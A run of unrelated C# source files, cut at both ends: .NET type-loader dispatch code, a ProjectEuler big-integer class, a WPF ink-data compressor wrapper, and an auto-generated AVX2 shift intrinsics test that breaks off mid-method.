invoke map found an unboxing stub, and we should pull the method address out as well unboxingStubAddress = methodAddress; methodAddress = RuntimeAugments.GetCodeTarget(unboxingStubAddress); if (!method.HasInstantiation && ((foundAddressType != MethodAddressType.Exact) || method.OwningType.IsCanonicalSubtype(CanonicalFormKind.Any))) { IntPtr underlyingTarget; // unboxing and instantiating stub handling if (!TypeLoaderEnvironment.TryGetTargetOfUnboxingAndInstantiatingStub(methodAddress, out underlyingTarget)) { Environment.FailFast("Expected this to be an unboxing and instantiating stub."); } methodAddress = underlyingTarget; } } return true; } #endif return false; } /// <summary> /// Attempt a virtual dispatch on a given instanceType based on the method found via a metadata token /// </summary> private static bool TryDispatchMethodOnTarget_Inner(NativeFormatModuleInfo module, int metadataToken, RuntimeTypeHandle targetInstanceType, out IntPtr methodAddress) { #if SUPPORTS_NATIVE_METADATA_TYPE_LOADING TypeSystemContext context = TypeSystemContextFactory.Create(); NativeFormatMetadataUnit metadataUnit = context.ResolveMetadataUnit(module); MethodDesc targetMethod = metadataUnit.GetMethod(metadataToken.AsHandle(), null); TypeDesc instanceType = context.ResolveRuntimeTypeHandle(targetInstanceType); MethodDesc realTargetMethod = targetMethod; // For non-interface methods we support the target method not being the exact target. (This allows // a canonical method to be passed in and work for any generic type instantiation.) if (!targetMethod.OwningType.IsInterface) realTargetMethod = instanceType.FindMethodOnTypeWithMatchingTypicalMethod(targetMethod); bool success = LazyVTableResolver.TryDispatchMethodOnTarget(instanceType, realTargetMethod, out methodAddress); TypeSystemContextFactory.Recycle(context); return success; #else methodAddress = IntPtr.Zero; return false; #endif } #if SUPPORTS_NATIVE_METADATA_TYPE_LOADING #if DEBUG private static int s_ConvertDispatchCellInfoCounter; #endif /// <summary> /// Attempt to convert the dispatch cell to a metadata token to a more efficient vtable dispatch or interface/slot dispatch. /// Failure to convert is not a correctness issue. We also support performing a dispatch based on metadata token alone. /// </summary> private static DispatchCellInfo ConvertDispatchCellInfo_Inner(NativeFormatModuleInfo module, DispatchCellInfo cellInfo) { Debug.Assert(cellInfo.CellType == DispatchCellType.MetadataToken); TypeSystemContext context = TypeSystemContextFactory.Create(); MethodDesc targetMethod = context.ResolveMetadataUnit(module).GetMethod(cellInfo.MetadataToken.AsHandle(), null); Debug.Assert(!targetMethod.HasInstantiation); // At this time we do not support generic virtuals through the dispatch mechanism Debug.Assert(targetMethod.IsVirtual); if (targetMethod.OwningType.IsInterface) { if (!LazyVTableResolver.TryGetInterfaceSlotNumberFromMethod(targetMethod, out cellInfo.InterfaceSlot)) { // Unable to resolve interface method. Fail, by not mutating cellInfo return cellInfo; } if (!targetMethod.OwningType.RetrieveRuntimeTypeHandleIfPossible()) { new TypeBuilder().BuildType(targetMethod.OwningType); } cellInfo.CellType = DispatchCellType.InterfaceAndSlot; cellInfo.InterfaceType = targetMethod.OwningType.RuntimeTypeHandle.ToIntPtr(); cellInfo.MetadataToken = 0; } else { // Virtual function case, attempt to resolve to a VTable slot offset. // If the offset is less than 4096 update the cellInfo #if DEBUG // The path of resolving a metadata token at dispatch time is relatively rare in practice. // Force it to occur in debug builds with much more regularity if ((s_ConvertDispatchCellInfoCounter % 16) == 0) { s_ConvertDispatchCellInfoCounter++; TypeSystemContextFactory.Recycle(context); return cellInfo; } s_ConvertDispatchCellInfoCounter++; #endif int slotIndexOfMethod = LazyVTableResolver.VirtualMethodToSlotIndex(targetMethod); int vtableOffset = -1; if (slotIndexOfMethod >= 0) vtableOffset = LazyVTableResolver.SlotIndexToEETypeVTableOffset(slotIndexOfMethod); if ((vtableOffset < 4096) && (vtableOffset != -1)) { cellInfo.CellType = DispatchCellType.VTableOffset; cellInfo.VTableOffset = checked((uint)vtableOffset); cellInfo.MetadataToken = 0; } // Otherwise, do nothing, and resolve with a metadata dispatch later } TypeSystemContextFactory.Recycle(context); return cellInfo; } #endif /// <summary> /// Resolve a dispatch on an interface EEType/slot index pair to a function pointer /// </summary> private bool TryResolveTypeSlotDispatch_Inner(IntPtr targetTypeAsIntPtr, IntPtr interfaceTypeAsIntPtr, ushort slot, out IntPtr methodAddress) { methodAddress = IntPtr.Zero; #if SUPPORTS_NATIVE_METADATA_TYPE_LOADING TypeSystemContext context = TypeSystemContextFactory.Create(); TypeDesc targetType; TypeDesc interfaceType; unsafe { targetType = context.ResolveRuntimeTypeHandle(((EEType*)targetTypeAsIntPtr.ToPointer())->ToRuntimeTypeHandle()); interfaceType = context.ResolveRuntimeTypeHandle(((EEType*)interfaceTypeAsIntPtr.ToPointer())->ToRuntimeTypeHandle()); } if (!(interfaceType.GetTypeDefinition() is MetadataType)) { // If the interface open type is not a metadata type, this must be an interface not known in the metadata world. // Use the redhawk resolver for this directly. TypeDesc pregeneratedType = LazyVTableResolver.GetMostDerivedPregeneratedOrTemplateLoadedType(targetType); pregeneratedType.RetrieveRuntimeTypeHandleIfPossible(); interfaceType.RetrieveRuntimeTypeHandleIfPossible(); methodAddress = RuntimeAugments.ResolveDispatchOnType(pregeneratedType.RuntimeTypeHandle, interfaceType.RuntimeTypeHandle, slot); } else { MethodDesc interfaceMethod; if (!LazyVTableResolver.TryGetMethodFromInterfaceSlot(interfaceType, slot, out interfaceMethod)) return false; if (!LazyVTableResolver.TryDispatchMethodOnTarget(targetType, interfaceMethod, out methodAddress)) return false; } TypeSystemContextFactory.Recycle(context); return true; #else return false; #endif } } }
using System; using System.Collections.Generic; using System.Text; namespace ProjectEuler.Common { public sealed class BigUInt : IComparable<BigUInt> { // Array containing the digits of the BigUint. The digit with index 0 is the // Least Significant digit. The digit with the highest index is the Most Significat digit. private byte[] _digits; bool _isPostive = true; #region constructors // private default constructor. So it cannot be used. private BigUInt() { } public BigUInt(string s) { if (string.IsNullOrEmpty(s)) { throw new ArgumentException("Input string cannot be null or empty."); } SetDigits(s); // Check for the value -0 (minus zero). // If the absolute value of this number is 0 (zero) the sign should be positive. if (_digits.Length == 1 && _digits[0] == 0) { _isPostive = true; } } public BigUInt(int i) { SetDigits(i.ToString()); } public BigUInt(uint i) { SetDigits(i.ToString()); } public BigUInt(long l) { SetDigits(l.ToString()); } public BigUInt(ulong l) { SetDigits(l.ToString()); } public BigUInt(BigUInt bi) { // Because we are copying another BigUInt object we can trust the values contained // in this number. Simply copy the digits and the sign without further checks. _digits = new byte[bi.Length]; Array.Copy(bi.Digits, _digits, bi.Length); _isPostive = bi.IsPostive; } public BigUInt(bool isPositive, byte[] digitArray) { SetDigits(digitArray); _isPostive = isPositive; // Check for the value -0 (minus zero). // If the absolute value of this number is 0 (zero) the sign should be positive. if (_digits.Length == 1 && _digits[0] == 0) { _isPostive = true; } } #endregion private void SetDigits(string digitString) { // Remove leading zeros. In a string the most significant digit is the one with the lowest index. So we must // start checking for leading zero's at the start of the string. int startingIndex = 0; while (startingIndex < digitString.Length - 1) { if (digitString[startingIndex] != '0') { break; // break while loop if we found a digit that is non-zero. } startingIndex++; } _digits = new byte[digitString.Length - startingIndex]; for (int i = startingIndex; i < digitString.Length; i++) { byte b; try { b = byte.Parse(digitString[i].ToString()); } catch (FormatException e) { throw new ArgumentException("The string with digits must contain values 0 through 9 only.", e); } _digits[digitString.Length - 1 - i] = b; } } private void SetDigits(byte[] digitArray) { if (digitArray == null) throw new ArgumentNullException("digitArray"); if (digitArray.Length == 0) throw new ArgumentOutOfRangeException("The array with digits must contain at least 1 value."); // Check contents of digitArray foreach (byte b in digitArray) { if (b > 9) { throw new ArgumentOutOfRangeException("The array with digits must contain values 0 through 9 only."); } } // Remove leading zeros. The most significant digit is the one with the highest index. So we must // start checking for leading zero's at the end of the digitArray. int endingIndex = digitArray.Length - 1; while (endingIndex >= 1) { if(digitArray[endingIndex] != 0) { break; // break while loop if we found a digit that is non-zero. } endingIndex--; } _digits = new byte[endingIndex + 1]; Array.Copy(digitArray, _digits, _digits.Length); } public int Length { get { return _digits.Length; } } // Indexer public byte this[int index] { get { return _digits[index]; } } public bool IsPostive { get { return _isPostive; } } public bool IsNegative { get { return !_isPostive; } } private byte[] Digits { get { return _digits; } } public BigUInt Add(BigUInt valueToAdd) { int biggestLength = Math.Max(_digits.Length, valueToAdd.Length); byte[] answer = new byte[biggestLength + 1]; byte operand1 = 0; byte operand2 = 0; byte result = 0; byte carry = 0; for (int i = 0; i < biggestLength; i++) { operand1 = (i < _digits.Length) ? _digits[i] : (byte)0; operand2 = (i < valueToAdd.Length) ? valueToAdd[i] : (byte)0; result = (byte)(operand1 + operand2 + carry); if (result > 9) { result -= 10; carry = 1; } else { carry = 0; } answer[i] = result; } if (carry != 0) { answer[biggestLength] = carry; } return new BigUInt(true, answer); } /// <summary> /// Simple multiplication algoritm. /// Multiply by repeated addition. /// </summary> /// <param name="valueToMultiply"></param> /// <returns></returns> public BigUInt Multiply(BigUInt valueToMultiply) { throw new NotImplementedException(); } #region IComparable implemetation public int CompareTo(BigUInt other) { // If this BigUInt has more digits than the other, it is obviously greater than the other. if (Length < other.Length) return -1; // If this BigUInt has less digits than the other, it is obviously less than the other. if (Length > other.Length) return 1; // Both BigUInt objects have the same number of digits. // Compare the individual digits starting with the most significant one. // If we find a digit that is greater than the corresponding digit of the other then // this BigUint is greater than the other. // If we find a digit that is less than the corresponding digit of the other then // this BigUint is less than the other. // If all digits are equal then both numbers are equal for (int i = Length - 1; i >= 0; i--) { byte thisDigit = this[i]; byte otherDigit = other[i]; if (thisDigit < otherDigit) return -1; if (thisDigit > otherDigit) return 1; } return 0; } #endregion #region Boilerplate Equals, ToString, GetHashCode Implementation public override string ToString() { StringBuilder sb = new StringBuilder(_digits.Length); if (IsNegative) sb.Append("-"); for (int i = _digits.Length - 1; i >= 0; i--) { sb.Append(_digits[i]); } return sb.ToString(); } public override bool Equals(object obj) { if (obj == null) return false; if (this.GetType() != obj.GetType()) return false; BigUInt other = obj as BigUInt; // The two numbers are not equal if they don't have the same sign if (IsPostive != other.IsPostive) return false; // The two numbers are not equal if they have a different number of digits if (Length != other.Length) return false; // The two numbers are not equal if they don't have the same digits. for (int i = Length - 1; i >= 0; i--) { if (this[i] != other[i]) return false; } // If we come this far, the two numbers are equal. return true; } public override int GetHashCode() { return ToString().GetHashCode(); } #endregion public static bool operator ==(BigUInt b1, BigUInt b2) { if ((object)b1 == null) if ((object)b2 == null) return true; else return false; return (b1.Equals(b2)); } public static bool operator !=(BigUInt b1, BigUInt b2) { return !(b1 == b2); } } }
//#define OLD_ISF using MS.Utility; using System; using System.Runtime.InteropServices; using System.Security; using System.Globalization; using System.Windows; using System.Windows.Input; using System.Windows.Ink; using MS.Internal.Ink.InkSerializedFormat; using SR = MS.Internal.PresentationCore.SR; using SRID = MS.Internal.PresentationCore.SRID; namespace MS.Internal.Ink.InkSerializedFormat { internal class Compressor #if OLD_ISF : IDisposable #endif { #if OLD_ISF /// <summary> /// Non-static members /// </summary> /// <SecurityNote> /// Critical - This is plutonium, marked critical to /// prevent it from being used from transparent code /// </SecurityNote> [SecurityCritical] private MS.Win32.Penimc.CompressorSafeHandle _compressorHandle; /// <summary> /// Compressor constructor. This is called by our ISF decompression /// after reading the ISF header that indicates which type of compression /// was performed on the ISF when it was being compressed. /// </summary> /// <param name="data">a byte[] specifying the compressor used to compress the ISF being decompressed</param> /// <param name="size">expected initially to be the length of data, it IsfLoadCompressor sets it to the /// length of the header that is read. They should always match, but in cases where they /// don't, we immediately fail</param> /// <SecurityNote> /// Critical - Calls unmanaged code through MS.Win32.Penimc.UnsafeNativeMethods to instance a compressor /// that is used to decompress packet or property data. The compressor instance is wrapped in a /// safehandle. /// /// This ctor is called by StrokeCollectionSerializer.EncodeRawISF, which is marked TreatAsSafe /// </SecurityNote> [SecurityCritical] internal Compressor(byte[] data, ref uint size) { if (data == null || data.Length != size) { //we don't raise any information that could be used to attack our ISF code //a simple 'ISF Operation Failed' is sufficient since the user can't do //anything to fix bogus ISF throw new InvalidOperationException(StrokeCollectionSerializer.ISFDebugMessage(SR.Get(SRID.InitializingCompressorFailed))); } _compressorHandle = MS.Win32.Penimc.UnsafeNativeMethods.IsfLoadCompressor(data, ref size); if (_compressorHandle.IsInvalid) { //we don't raise any information that could be used to attack our ISF code //a simple 'ISF Operation Failed' is sufficient since the user can't do //anything to fix bogus ISF throw new InvalidOperationException(StrokeCollectionSerializer.ISFDebugMessage(SR.Get(SRID.InitializingCompressorFailed))); } } /// <summary> /// DecompressPacketData - take a byte[] or a subset of a byte[] and decompresses it into /// an int[] of packet data (for example, x's in a Stroke) /// </summary> /// <param name="compressor"> /// The compressor used to decompress this byte[] of packet data (for example, x's in a Stroke) /// Can be null /// </param> /// <param name="compressedInput">The byte[] to decompress</param> /// <param name="size">In: the max size of the subset of compressedInput to read, out: size read</param> /// <param name="decompressedPackets">The int[] to write the packet data to</param> /// <SecurityNote> /// Critical - Calls unmanaged code in MS.Win32.Penimc.UnsafeNativeMethods to decompress /// a byte[] into an int[] of packet data (for example, x's or y's in a Stroke) /// /// This is called by StrokeSerializer.LoadPackets directly. The TreatAsSafe boundary of this call /// is StrokeCollectionSerializer.DecodeRawISF /// </SecurityNote> [SecurityCritical] #else /// <summary> /// DecompressPacketData - take a byte[] or a subset of a byte[] and decompresses it into /// an int[] of packet data (for example, x's in a Stroke) /// </summary> /// <param name="compressedInput">The byte[] to decompress</param> /// <param name="size">In: the max size of the subset of compressedInput to read, out: size read</param> /// <param name="decompressedPackets">The int[] to write the packet data to</param> #endif internal static void DecompressPacketData( #if OLD_ISF Compressor compressor, #endif byte[] compressedInput, ref uint size, int[] decompressedPackets) { #if OLD_ISF // // lock to prevent multi-threaded vulnerabilities // lock (_compressSync) { #endif if (compressedInput == null || size > compressedInput.Length || decompressedPackets == null) { //we don't raise any information that could be used to attack our ISF code //a simple 'ISF Operation Failed' is sufficient since the user can't do //anything to fix bogus ISF throw new InvalidOperationException(StrokeCollectionSerializer.ISFDebugMessage(SR.Get(SRID.DecompressPacketDataFailed))); } #if OLD_ISF uint size2 = size; #endif size = AlgoModule.DecompressPacketData(compressedInput, decompressedPackets); #if OLD_ISF MS.Win32.Penimc.CompressorSafeHandle safeCompressorHandle = (compressor == null) ? MS.Win32.Penimc.CompressorSafeHandle.Null : compressor._compressorHandle; int[] decompressedPackets2 = new int[decompressedPackets.Length]; byte algo = AlgoModule.NoCompression; int hr = MS.Win32.Penimc.UnsafeNativeMethods.IsfDecompressPacketData(safeCompressorHandle, compressedInput, ref size2, (uint)decompressedPackets2.Length, decompressedPackets2, ref algo); if (0 != hr) { //we don't raise any information that could be used to attack our ISF code //a simple 'ISF Operation Failed' is sufficient since the user can't do //anything to fix bogus ISF throw new InvalidOperationException(StrokeCollectionSerializer.ISFDebugMessage("IsfDecompressPacketData returned: " + hr.ToString(CultureInfo.InvariantCulture))); } if (size != size2) { throw new InvalidOperationException("MAGIC EXCEPTION: Packet data bytes read didn't match with new uncompression"); } for (int i = 0; i < decompressedPackets.Length; i++) { if (decompressedPackets[i] != decompressedPackets2[i]) { throw new InvalidOperationException("MAGIC EXCEPTION: Packet data didn't match with new uncompression at index " + i.ToString()); } } } #endif } #if OLD_ISF /// <summary> /// DecompressPropertyData - decompresses a byte[] representing property data (such as DrawingAttributes.Color) /// </summary> /// <param name="input">The byte[] to decompress</param> /// <SecurityNote> /// Critical - Calls unmanaged code in MS.Win32.Penimc.UnsafeNativeMethods to decompress /// a byte[] representing property data /// /// This directly called by ExtendedPropertySerializer.DecodeAsISF. /// DrawingAttributesSerializer.DecodeAsISF. /// StrokeSerializer.DecodeISFIntoStroke. /// /// The TreatAsSafe boundary of this call /// is StrokeCollectionSerializer.DecodeRawISF /// </SecurityNote> [SecurityCritical] #else /// <summary> /// DecompressPropertyData - decompresses a byte[] representing property data (such as DrawingAttributes.Color) /// </summary> /// <param name="input">The byte[] to decompress</param> #endif internal static byte[] DecompressPropertyData(byte[] input) { #if OLD_ISF // // lock to prevent multi-threaded vulnerabilities // lock (_compressSync) { #endif if (input == null) { //we don't raise any information that could be used to attack our ISF code //a simple 'ISF Operation Failed' is sufficient since the user can't do //anything to fix bogus ISF throw new InvalidOperationException(StrokeCollectionSerializer.ISFDebugMessage(SR.Get(SRID.DecompressPropertyFailed))); } byte[] data = AlgoModule.DecompressPropertyData(input); #if OLD_ISF uint size = 0; byte algo = 0; int hr = MS.Win32.Penimc.UnsafeNativeMethods.IsfDecompressPropertyData(input, (uint)input.Length, ref size, null, ref algo); if (0 == hr) { byte[] data2 = new byte[size]; hr = MS.Win32.Penimc.UnsafeNativeMethods.IsfDecompressPropertyData(input, (uint)input.Length, ref size, data2, ref algo); if (0 == hr) { if (data.Length != data2.Length) { throw new InvalidOperationException("MAGIC EXCEPTION: Property bytes length when decompressed didn't match with new uncompression"); } for (int i = 0; i < data.Length; i++) { if (data[i] != data2[i]) { throw new InvalidOperationException("MAGIC EXCEPTION: Property data didn't match with new property uncompression at index " + i.ToString()); } } return data; } } //we don't raise any information that could be used to attack our ISF code //a simple 'ISF Operation Failed' is sufficient since the user can't do //anything to fix bogus ISF throw new InvalidOperationException(StrokeCollectionSerializer.ISFDebugMessage("IsfDecompressPropertyData returned: " + hr.ToString(CultureInfo.InvariantCulture))); #else return data; #endif #if OLD_ISF } #endif } #if OLD_ISF /// <summary> /// CompressPropertyData - compresses property data /// </summary> /// <param name="data">The property data to compress</param> /// <param name="algorithm">In: the desired algorithm to use. Out: the algorithm used</param> /// <param name="outputSize">In: if output is not null, the size of output. Out: the size required if output is null</param> /// <param name="output">The byte[] to writ the compressed data to</param> /// <SecurityNote> /// Critical - Calls unmanaged code in MS.Win32.Penimc.UnsafeNativeMethods to compress /// a byte[] representing property data /// /// This directly called by ExtendedPropertySerializer.EncodeAsISF /// /// TreatAsSafe boundary is StrokeCollectionSerializer.EncodeISF /// /// </SecurityNote> [SecurityCritical] internal static void CompressPropertyData(byte[] data, ref byte algorithm, ref uint outputSize, byte[] output) { // // lock to prevent multi-threaded vulnerabilities // lock (_compressSync) { // // it is valid to pass is null for output to check to see what the // required buffer size is. We want to guard against when output is not null // and outputSize doesn't match, as this is passed directly to unmanaged code // and could result in bytes being written past the end of output buffer // if (output != null && outputSize != output.Length) { //we don't raise any information that could be used to attack our ISF code //a simple 'ISF Operation Failed' is sufficient since the user can't do //anything to fix bogus ISF throw new InvalidOperationException(SR.Get(SRID.IsfOperationFailed)); } int hr = MS.Win32.Penimc.UnsafeNativeMethods.IsfCompressPropertyData(data, (uint)data.Length, ref algorithm, ref outputSize, output); if (0 != hr) { //we don't raise any information that could be used to attack our ISF code //a simple 'ISF Operation Failed' is sufficient since the user can't do //anything to fix bogus ISF throw new InvalidOperationException(StrokeCollectionSerializer.ISFDebugMessage("IsfCompressPropertyData returned: " + hr.ToString(CultureInfo.InvariantCulture))); } } } #endif /// <summary> /// CompressPropertyData /// </summary> /// <param name="data"></param> /// <param name="algorithm"></param> /// <returns></returns> internal static byte[] CompressPropertyData(byte[] data, byte algorithm) { if (data == null) { //we don't raise any information that could be used to attack our ISF code //a simple 'ISF Operation Failed' is sufficient since the user can't do //anything to fix bogus ISF throw new ArgumentNullException("data"); } return AlgoModule.CompressPropertyData(data, algorithm); } #if OLD_ISF /// <summary> /// CompressPropertyData - compresses property data using the compression defined by 'compressor' /// </summary> /// <param name="compressor">The compressor to use. This can be null for default compression</param> /// <param name="input">The int[] of packet data to compress</param> /// <param name="algorithm">In: the desired algorithm to use. Out: the algorithm used</param> /// <returns>the compressed data in a byte[]</returns> /// <SecurityNote> /// Critical - Calls unmanaged code in MS.Win32.Penimc.UnsafeNativeMethods to compress /// an int[] representing packet data /// /// This directly called by StrokeCollectionSerializer.SaveStrokeIds /// StrokeSerializer.SavePacketPropertyData /// /// TreatAsSafe boundary is StrokeCollectionSerializer.EncodeISF /// /// </SecurityNote> [SecurityCritical] #else /// <summary> /// CompressPropertyData - compresses property data using the compression defined by 'compressor' /// </summary> /// <param name="input">The int[] of packet data to compress</param> /// <param name="algorithm">In: the desired algorithm to use. Out: the algorithm used</param> /// <returns>the compressed data in a byte[]</returns> #endif internal static byte[] CompressPacketData( #if OLD_ISF Compressor compressor, #endif int[] input, ref byte algorithm) { #if OLD_ISF // // lock to prevent multi-threaded vulnerabilities // lock (_compressSync) { #endif if (input == null) { //we don't raise any information that could be used to attack our ISF code //a simple 'ISF Operation Failed' is sufficient since the user can't do //anything to fix bogus ISF throw new InvalidOperationException(SR.Get(SRID.IsfOperationFailed)); } byte[] data = AlgoModule.CompressPacketData(input, algorithm); #if OLD_ISF uint cbOutSize = 0; MS.Win32.Penimc.CompressorSafeHandle safeCompressorHandle = (compressor == null) ? MS.Win32.Penimc.CompressorSafeHandle.Null : compressor._compressorHandle; int hr = MS.Win32.Penimc.UnsafeNativeMethods.IsfCompressPacketData(safeCompressorHandle, input, (uint)input.Length, ref algorithm, ref cbOutSize, null); if (0 == hr) { byte[] data2 = new byte[cbOutSize]; hr = MS.Win32.Penimc.UnsafeNativeMethods.IsfCompressPacketData(safeCompressorHandle, input, (uint)input.Length, ref algorithm, ref cbOutSize, data2); if (0 == hr) { //see if data matches if (data2.Length != data.Length) { throw new InvalidOperationException("MAGIC EXCEPTION: Packet data length didn't match with new compression"); } for (int i = 0; i < data2.Length; i++) { if (data2[i] != data[i]) { throw new InvalidOperationException("MAGIC EXCEPTION: Packet data didn't match with new compression at index " + i.ToString()); } } return data; } } throw new InvalidOperationException(StrokeCollectionSerializer.ISFDebugMessage("IsfCompressPacketData returned:" + hr.ToString(CultureInfo.InvariantCulture))); } #else return data; #endif } /// <summary> /// Thread static algo module /// </summary> [ThreadStatic] private static AlgoModule _algoModule; /// <summary> /// Private AlgoModule, one per thread, lazy init'd /// </summary> private static AlgoModule AlgoModule { get { if (_algoModule == null) { _algoModule = new AlgoModule(); } return _algoModule; } } #if OLD_ISF private static object _compressSync = new object(); private bool _disposed = false; /// <summary> /// Dispose. /// </summary> /// <SecurityNote> /// Critical - Handles plutonium: _compressorHandle /// /// This is directly called by StrokeCollectionSerializer.DecodeRawISF /// The TreatAsSafe boundary of this call is StrokeCollectionSerializer.DecodeRawISF /// /// </SecurityNote> [SecurityCritical] public void Dispose() { if (_disposed) { return; } _compressorHandle.Dispose(); _disposed = true; _compressorHandle = null; } #endif } }
// Licensed to the .NET Foundation under one or more agreements. // The .NET Foundation licenses this file to you under the MIT license. // See the LICENSE file in the project root for more information. /****************************************************************************** * This file is auto-generated from a template file by the GenerateTests.csx * * script in tests\src\JIT\HardwareIntrinsics\X86\Shared. In order to make * * changes, please update the corresponding template and run according to the * * directions listed in the file. * ******************************************************************************/ using System; using System.Runtime.CompilerServices; using System.Runtime.InteropServices; using System.Runtime.Intrinsics; using System.Runtime.Intrinsics.X86; namespace JIT.HardwareIntrinsics.X86 { public static partial class Program { private static void ShiftRightLogicalInt3232() { var test = new ImmUnaryOpTest__ShiftRightLogicalInt3232(); if (test.IsSupported) { // Validates basic functionality works, using Unsafe.Read test.RunBasicScenario_UnsafeRead(); if (Avx.IsSupported) { // Validates basic functionality works, using Load test.RunBasicScenario_Load(); // Validates basic functionality works, using LoadAligned test.RunBasicScenario_LoadAligned(); } // Validates calling via reflection works, using Unsafe.Read test.RunReflectionScenario_UnsafeRead(); if (Avx.IsSupported) { // Validates calling via reflection works, using Load test.RunReflectionScenario_Load(); // Validates calling via reflection works, using LoadAligned test.RunReflectionScenario_LoadAligned(); } // Validates passing a static member works test.RunClsVarScenario(); // Validates passing a local works, using Unsafe.Read test.RunLclVarScenario_UnsafeRead(); if (Avx.IsSupported) { // Validates passing a local works, using Load test.RunLclVarScenario_Load(); // Validates passing a local works, using LoadAligned test.RunLclVarScenario_LoadAligned(); } // Validates passing the field of a local class works test.RunClassLclFldScenario(); // Validates passing an instance member of a class works test.RunClassFldScenario(); // Validates passing the field of a local struct works test.RunStructLclFldScenario(); // Validates passing an instance member of a struct works test.RunStructFldScenario(); } else { // Validates we throw on unsupported hardware test.RunUnsupportedScenario(); } if (!test.Succeeded) { throw new Exception("One or more scenarios did not complete as expected."); } } } public sealed unsafe class ImmUnaryOpTest__ShiftRightLogicalInt3232 { private struct TestStruct { public Vector256<Int32> _fld; public static TestStruct Create() { var testStruct = new TestStruct(); for (var i = 0; i < Op1ElementCount; i++) { _data[i] = TestLibrary.Generator.GetInt32(); } Unsafe.CopyBlockUnaligned(ref Unsafe.As<Vector256<Int32>, byte>(ref testStruct._fld), ref Unsafe.As<Int32, byte>(ref _data[0]), (uint)Unsafe.SizeOf<Vector256<Int32>>()); return testStruct; } public void RunStructFldScenario(ImmUnaryOpTest__ShiftRightLogicalInt3232 testClass) { var result = Avx2.ShiftRightLogical(_fld, 32); Unsafe.Write(testClass._dataTable.outArrayPtr, result); testClass.ValidateResult(_fld, testClass._dataTable.outArrayPtr); } } private static readonly int LargestVectorSize = 32; private static readonly int Op1ElementCount = Unsafe.SizeOf<Vector256<Int32>>() / sizeof(Int32); private static readonly int RetElementCount = Unsafe.SizeOf<Vector256<Int32>>() / sizeof(Int32); private static Int32[] _data = new Int32[Op1ElementCount]; private static Vector256<Int32> _clsVar; private Vector256<Int32> _fld; private SimpleUnaryOpTest__DataTable<Int32, Int32> _dataTable; static ImmUnaryOpTest__ShiftRightLogicalInt3232() { for (var i = 0; i < Op1ElementCount; i++) { _data[i] = TestLibrary.Generator.GetInt32(); } Unsafe.CopyBlockUnaligned(ref Unsafe.As<Vector256<Int32>, byte>(ref _clsVar), ref Unsafe.As<Int32, byte>(ref _data[0]), (uint)Unsafe.SizeOf<Vector256<Int32>>()); } public ImmUnaryOpTest__ShiftRightLogicalInt3232() { Succeeded = true; for (var i = 0; i < Op1ElementCount; i++) { _data[i] = TestLibrary.Generator.GetInt32(); } Unsafe.CopyBlockUnaligned(ref Unsafe.As<Vector256<Int32>, byte>(ref _fld), ref Unsafe.As<Int32, byte>(ref _data[0]), (uint)Unsafe.SizeOf<Vector256<Int32>>()); for (var i = 0; i < Op1ElementCount; i++) { _data[i] = TestLibrary.Generator.GetInt32(); } _dataTable = new SimpleUnaryOpTest__DataTable<Int32, Int32>(_data, new Int32[RetElementCount], LargestVectorSize); } public bool IsSupported => Avx2.IsSupported; public bool Succeeded { get; set; } public void RunBasicScenario_UnsafeRead() { TestLibrary.TestFramework.BeginScenario(nameof(RunBasicScenario_UnsafeRead)); var result = Avx2.ShiftRightLogical( Unsafe.Read<Vector256<Int32>>(_dataTable.inArrayPtr), 32 ); Unsafe.Write(_dataTable.outArrayPtr, result); ValidateResult(_dataTable.inArrayPtr, _dataTable.outArrayPtr); } public void RunBasicScenario_Load() { TestLibrary.TestFramework.BeginScenario(nameof(RunBasicScenario_Load)); var result = Avx2.ShiftRightLogical( Avx.LoadVector256((Int32*)(_dataTable.inArrayPtr)), 32 ); Unsafe.Write(_dataTable.outArrayPtr, result); ValidateResult(_dataTable.inArrayPtr, _dataTable.outArrayPtr); } public void RunBasicScenario_LoadAligned() { TestLibrary.TestFramework.BeginScenario(nameof(RunBasicScenario_LoadAligned)); var result = Avx2.ShiftRightLogical( Avx.LoadAlignedVector256((Int32*)(_dataTable.inArrayPtr)), 32 ); Unsafe.Write(_dataTable.outArrayPtr, result); ValidateResult(_dataTable.inArrayPtr, _dataTable.outArrayPtr); } public void RunReflectionScenario_UnsafeRead() { TestLibrary.TestFramework.BeginScenario(nameof(RunReflectionScenario_UnsafeRead)); var result = typeof(Avx2).GetMethod(nameof(Avx2.ShiftRightLogical), new Type[] { typeof(Vector256<Int32>), typeof(byte) }) .Invoke(null, new object[] { Unsafe.Read<Vector256<Int32>>(_dataTable.inArrayPtr), (byte)32 }); Unsafe.Write(_dataTable.outArrayPtr, (Vector256<Int32>)(result)); ValidateResult(_dataTable.inArrayPtr, _dataTable.outArrayPtr); } public void RunReflectionScenario_Load() { TestLibrary.TestFramework.BeginScenario(nameof(RunReflectionScenario_Load)); var result = typeof(Avx2).GetMethod(nameof(Avx2.ShiftRightLogical), new Type[] { typeof(Vector256<Int32>), typeof(byte) }) .Invoke(null, new object[] { Avx.LoadVector256((Int32*)(_dataTable.inArrayPtr)), (byte)32 }); Unsafe.Write(_dataTable.outArrayPtr, (Vector256<Int32>)(result)); ValidateResult(_dataTable.inArrayPtr, _dataTable.outArrayPtr); } public void RunReflectionScenario_LoadAligned() { TestLibrary.TestFramework.BeginScenario(nameof(RunReflectionScenario_LoadAligned)); var result = typeof(Avx2).GetMethod(nameof(Avx2.ShiftRightLogical), new Type[] { typeof(Vector256<Int32>), typeof(byte) }) .Invoke(null, new object[] { Avx.LoadAlignedVector256((Int32*)(_dataTable.inArrayPtr)), (byte)32 }); Unsafe.Write(_dataTable.outArrayPtr, (Vector256<Int32>)(result)); ValidateResult(_dataTable.inArrayPtr, _dataTable.outArrayPtr); } public void RunClsVarScenario() { TestLibrary.TestFramework.BeginScenario(nameof(RunClsVarScenario)); var result = Avx2.ShiftRightLogical( _clsVar, 32 ); Unsafe.Write(_dataTable.outArrayPtr, result); ValidateResult(_clsVar, _dataTable.outArrayPtr); } public void RunLclVarScenario_UnsafeRead() { TestLibrary.TestFramework.BeginScenario(nameof(RunLclVarScenario_UnsafeRead)); var firstOp = Unsafe.Read<Vector256<Int32>>(_dataTable.inArrayPtr); var result = Avx2.ShiftRightLogical(firstOp, 32); Unsafe.Write(_dataTable.outArrayPtr, result); ValidateResult(firstOp, _dataTable.outArrayPtr); } public void RunLclVarScenario_Load() { TestLibrary.TestFramework.BeginScenario(nameof(RunLclVarScenario_Load)); var firstOp = Avx.LoadVector256((Int32*)(_dataTable.inArrayPtr)); var result = Avx2.ShiftRightLogical(firstOp, 32); Unsafe.Write(_dataTable.outArrayPtr, result); ValidateResult(firstOp, _dataTable.outArrayPtr); } public void RunLclVarScenario_LoadAligned() { 